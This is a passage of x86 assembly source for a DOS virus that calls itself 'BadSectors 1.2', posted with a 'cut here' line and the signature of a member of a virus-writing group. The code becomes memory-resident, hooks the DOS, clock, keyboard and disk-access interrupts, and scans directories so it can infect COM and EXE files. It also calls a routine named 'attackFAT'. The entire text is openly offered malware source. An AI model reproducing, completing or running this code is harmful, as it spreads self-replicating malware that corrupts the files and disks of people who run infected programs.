;---------- NEW DOS FUNCTIONS from corrupted INT 21H ----------
reentrstatus:
push cs ;test to see if it can call INT 21H
pop es
mov bx,DOScounter
test byte ptr es:[bx],-1
jz notDOSactive
iret
notDOSactive:
jmp dword ptr cs:[offset int21_offset-TSRpart]
loadandgo:
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
call getfilename
mov ah,34h ;check reentrancy status
pushf
call dword ptr cs:[offset int21_offset-TSRpart]
test byte ptr es:[bx],0ffh
jnz leaveloadgo ;if DOS active don't do it
push cs
push cs
pop ds
pop es
call searchfilename
mov ds:[filepointer],di
call parsedrivers
jnc leaveloadgo ;if file is SYSTEM don't touch
call getdrive ;obtain the current drive
call attackFAT
call readwritesect ;Read and Write harmless
jc leaveloadgo ;if error in reading EXIT
call keybanderror ;Get Keyb.Break and Error hand.
mov ah,0
call comexetester
jc putoriginalvect ;not an executable file
mov ds:[filetype],al ;0-->COM/1-->EXE
call isscancharge
jz putoriginalvect
call testinfect
jnc putoriginalvect
call maininfector
putoriginalvect:
call restorekeyberr
leaveloadgo:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp exit_handler
find1stfile:
mov cs:fileofs,dx
mov cs:fileseg,ds
pushf
call dword ptr cs:[offset int21_offset-TSRpart]
jnc searchOK
jmp searchexit
searchOK:
pushf
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov ah,34h ;test critical section in DOS
pushf
call dword ptr cs:[offset int21_offset-TSRpart]
test byte ptr es:[bx],0ffh
jz OKnotDOS
jmp leavesearcher
OKnotDOS:
lds dx,dword ptr cs:fileofs
call getfilename
push cs
push cs
pop ds
pop es
and byte ptr ds:semaphor,0f7h
call searchfilename
mov ds:[filepointer],di
call putfile ;save path in a temporary buffer
call parsedrivers
jc notsystem
jmp leavesearcher
notsystem:
call getdrive
backagain:
call keybanderror ;disable possible async.events
call readwritesect
jnc notdiskerr
jmp short diskerr
nop
notdiskerr:
call anyfile ;search any file
mov ah,2fh ;get DTA in es:bx
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
mov word ptr ds:[DTAofs],bx
mov word ptr ds:[DTAofs+2],es ;save DTA pointer
push cs
pop es
mov dx,newDTA
mov ah,1ah ;set a new DTA address
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
mov ah,4eh ;find first matching file
mov dx,filename
mov cx,00100011b ;Archive/Hidden/Read-only
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
jc errorfunc
loopnextfile:
mov ah,1
call comexetester
jc notexecomform
mov ds:[filetype],al
mov si,DTAfilename
mov di,ds:[filepointer]
mov cx,0dh
cld ;get the new file name
rep movsb
call isscancharge
jz notexecomform
call testinfect
jnc notexecomform
call maininfector
jc notexecomform
jmp short errorfunc
notexecomform:
mov dx,newDTA
mov ah,4fh ;find next matching file
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
jnc loopnextfile
errorfunc:
lds dx,ds:[DTAofs] ;set the original DTA
mov ah,1ah
pushf
call dword ptr cs:[offset int21_offset-TSRpart]
push cs
pop ds
diskerr:
call getfile
call recoverfname
call putoriglength
call restorekeyberr ;restore Keyb break and Crit.Err.
leavesearcher:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popF
searchexit:
dec byte ptr cs:DOScounter
retf 2 ;free the flag from stack
find1stFCBfile:
mov cs:fileofs,dx
mov cs:fileseg,ds
pushf
call dword ptr cs:[offset int21_offset-TSRpart]
cmp al,0
jne searchexit
pushf
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov ah,34h ;test critical section in DOS
pushf
call dword ptr cs:[offset int21_offset-TSRpart]
test byte ptr es:[bx],-1
jnz leavesearcher
lds si,dword ptr cs:fileofs
call getvaliddrive
push cs
pop es
mov di,filename
call buildname
push cs
pop ds
mov word ptr ds:[filepointer],filename
call parsedrivers
jnc leavesearcher
or byte ptr ds:semaphor,8
mov di,filename
mov al,ds:[drivenumber]
cld
add al,41h ;get drive letter
mov ah,':'
stosw
mov al,0
stosb
mov word ptr ds:[filepointer],0fa8h
call putfile
jmp backagain
findnextfile:
pushf
call dword ptr cs:[offset int21_offset-TSRpart]
jc leaveDOSfn
pushf
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov ah,34h ;test critical section in DOS
pushf
call dword ptr cs:[offset int21_offset-TSRpart]
test byte ptr es:[bx],-1
jnz restoreregs
push cs
push cs
pop ds
pop es
and byte ptr ds:semaphor,0f7h
nextparse:
call keybanderror
call getfile
push es
mov ah,2fh ;Get DTA in es:bx
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
mov word ptr ds:[DTAofs],bx
mov word ptr ds:[DTAofs+2],es
pop es
call RecoverFName
call ParseDrivers
jnc notsystemagain
call putoriglength
notsystemagain:
call restorekeyberr
restoreregs:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
leaveDOSfn:
dec byte ptr cs:DOScounter
retf 2
findnextFCBfile:
pushf
call dword ptr cs:[offset int21_offset-TSRpart]
cmp al,0
jne leaveDOSfn
pushf
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov ah,34h ;test critical section in DOS
pushf
call dword ptr cs:[offset int21_offset-TSRpart]
test byte ptr es:[bx],-1
jnz restoreregs
push cs
push cs
pop ds
pop es
or byte ptr ds:semaphor,8
jmp short nextparse
db 14 dup (0)
startthunk:
mov ax,cs
db 05 ;'add ax,06FEh'
adjuster dw 06feh
push ax
mov ax,offset entryaddress - newSeg
push ax
retf
db 0
db 0, 0, 0, 0
;---------- New entry segment ----------
newseg dw 2712h
comexetype db 0
db 0
COMEXEmark db 0 ;0--COM/ 1--EXE
secondentry:
mov ax,4c00h
int 21h
db 6 dup (90h)
;---------- Entry routine embedded ----------
entryaddress:
push ds ;save the original segment
push ds
pop ax
dec ax
mov ds,ax ;position on MCB segment
cmp byte ptr ds:MCBtype,'Z' ;if last block
jnz leavevirus
cmp word ptr ds:MCBsize,blocklength
jb leavevirus
mov ah,30h ;get DOS version
int 21h
cmp al,2
jb leavevirus ;if version less than 2.0
push ds
xor ax,ax
mov ds,ax
mov ax,ds:[totalmem]
pop ds
mov cl,06
shl ax,cl
mov es,ax
push cs
pop ds
mov si,offset signature-newseg
mov di,0
mov cx,000bh
cld
repz ;test to see if already in memory
cmpsb ;'Badsectors' test string
jnz notinmem
leavevirus:
push cs
pop ds
cmp byte ptr ds:[offset COMEXEmark-newseg],1
je retexectrl ;if 1 return in EXE style
pop es ;es restored on original seg
push es
mov di,100h ;COM start address
push di
mov si,(offset secondentry -newseg)
mov cx,0bh ;copy the second entry point routine
cld
rep movsb
push es
pop ds
retf
retexectrl:
pop ax ;get original ds pointer on Psp
push ax ;save ds
add ax,10h
add ds:sspointer,ax ;build original ss
add word ptr ds:terminaddr+2,ax ;offset for returning
pop ax
cli
mov ss,ds:sspointer
mov sp,ds:sppointer
sti
mov ds,ax
mov es,ax
jmp dword ptr cs:terminaddr
notinmem:
xor ax,ax
mov ds,ax
db 81h,2eh,13h,4,5,0 ;=sub word ptr ds:totalmem,5 - alloc 5 K of mem
pop ax ;ax on original segment
push ax
dec ax
mov ds,ax ;ds on original MCB
mov ax,es
sub ax,140h ;subtract 140h mem chunks
nop
mov es,ax ;the new alloc segment
sub word ptr ds:memtop,140h
sub word ptr ds:MCBsize,140h
mov ax,cs
sub ax,(offset newseg - TSRpart)/16
mov ds,ax
mov si,0
mov di,si
mov cx,(offset eovirus-TSRpart) ;total length of virus
nop
cld
rep movsb
mov si,(offset signature - TSRpart)
mov di,0
mov cx,0eh ;length of signature
rep movsb
push es
pop ds ;es==ds on TOP memory
mov word ptr ds:firstcounter,7fffh
mov word ptr ds:secondcounter,-1
mov byte ptr ds:semaphor,0
mov byte ptr ds:DOScounter,0
mov ah,30h ;get DOS version
int 21h
mov ds:[dosversion],ax
mov di,drivestable
mov cx,1ah
xor ax,ax
cld
rep stosw ;prepare 52 bytes drives' table
mov ds,ax
mov si,84h ;get Int 21H DOS vector
mov di,(offset int21_offset-TSRpart)
movsw ;hook the INT 21h DOS vector
movsw
cli
mov word ptr [si-4],offset int21handler-TSRpart
mov [si-2],es
sti
mov si,20h
mov di,(offset int08_offset-TSRpart)
movsw ;hook the INT 8 clock vector
movsw
cli
mov word ptr [si-4],offset entryI8-TSRpart
mov [si-2],es
sti
mov si,58h
mov di,(offset int16_offset-TSRpart)
movsw ;hook the INT 16h keyboard serv vector
movsw
cli
mov word ptr [si-4],offset entryI16-TSRpart
mov [si-2],es
sti
mov si,94H
mov di,(offset int25_offset-TSRpart)
movsw ;hook the INT 25h DOS disk read vector
movsw
cli
mov word ptr [si-4],(offset int25handler-TSRpart)
mov [si-2],es
sti
mov si,98h
mov di,(offset int26_offset-TSRpart)
movsw ;hook the INT 26h DOS disk write vector
movsw
cli
mov word ptr [si-4],(offset int26handler-TSRpart)
mov [si-2],es
sti
jmp leavevirus
;----------- end of main part ----------
origlnglow dw 2712h
origlnghigh dw 0
signature db 'BadSectors 1.2'
eovirus:
code ends
end virus_start
--------------------------------- cut here ----------------------------------
Virtual Daemon
Viral Development Researcher & Virii Colector
Member of SLAM Virus Team
Network Administrator
E-mail: virtual_daemon@hotmail.com
Web: http://www.geocities.com/SiliconValley/Heights/3334